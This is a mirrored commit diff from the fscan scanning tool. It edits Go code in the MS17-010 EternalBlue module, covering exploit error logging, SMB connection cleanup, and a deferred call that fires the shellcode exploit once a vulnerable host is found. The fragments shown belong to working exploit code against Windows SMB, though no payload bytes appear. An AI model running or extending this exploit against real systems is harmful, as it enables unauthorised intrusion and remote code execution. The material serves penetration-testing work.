mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
update README.md
This commit is contained in:
+12
-10
@@ -50,15 +50,15 @@ func MS17010EXP(info *common.HostInfo) {
|
||||
|
||||
sc1, err := hex.DecodeString(sc)
|
||||
if err != nil {
|
||||
common.LogError(err)
|
||||
common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error())
|
||||
return
|
||||
}
|
||||
err = eternalBlue(address, 12, 12, sc1)
|
||||
if err != nil {
|
||||
common.LogError(err)
|
||||
common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error())
|
||||
return
|
||||
}
|
||||
fmt.Println("[*] " + info.Host + " MS17-010 exploit end")
|
||||
common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end")
|
||||
}
|
||||
|
||||
func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error {
|
||||
@@ -66,7 +66,7 @@ func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) erro
|
||||
const maxscSize = packetMaxLen - packetSetupLen - len(loader) - 2 // uint16
|
||||
l := len(sc)
|
||||
if l > maxscSize {
|
||||
fmt.Println(maxscSize)
|
||||
//fmt.Println(maxscSize)
|
||||
return fmt.Errorf("sc size %d > %d big %d", l, maxscSize, l-maxscSize)
|
||||
}
|
||||
payload := makeKernelUserPayload(sc)
|
||||
@@ -187,15 +187,16 @@ func makeKernelUserPayload(sc []byte) []byte {
|
||||
}
|
||||
|
||||
func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
||||
conn, err := net.DialTimeout("tcp", address, 5*time.Second)
|
||||
defer func() {
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
}()
|
||||
conn, err := net.DialTimeout("tcp", address, 10*time.Second)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to connect host: %s", err)
|
||||
}
|
||||
var ok bool
|
||||
defer func() {
|
||||
if !ok {
|
||||
_ = conn.Close()
|
||||
}
|
||||
}()
|
||||
err = smbClientNegotiate(conn)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to negotiate: %s", err)
|
||||
@@ -213,6 +214,7 @@ func smb1AnonymousConnectIPC(address string) (*smbHeader, net.Conn, error) {
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("failed to tree connect AndX: %s", err)
|
||||
}
|
||||
ok = true
|
||||
return header, conn, nil
|
||||
}
|
||||
|
||||
|
||||
+5
-3
@@ -131,9 +131,11 @@ func MS17010Scan(info *common.HostInfo) error {
|
||||
//} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)}
|
||||
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
|
||||
common.LogSuccess(result)
|
||||
if common.SC != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
defer func() {
|
||||
if common.SC != "" {
|
||||
MS17010EXP(info)
|
||||
}
|
||||
}()
|
||||
// detect present of DOUBLEPULSAR SMB implant
|
||||
trans2SessionSetupRequest[28] = treeID[0]
|
||||
trans2SessionSetupRequest[29] = treeID[1]
|
||||
|
||||
Reference in New Issue
Block a user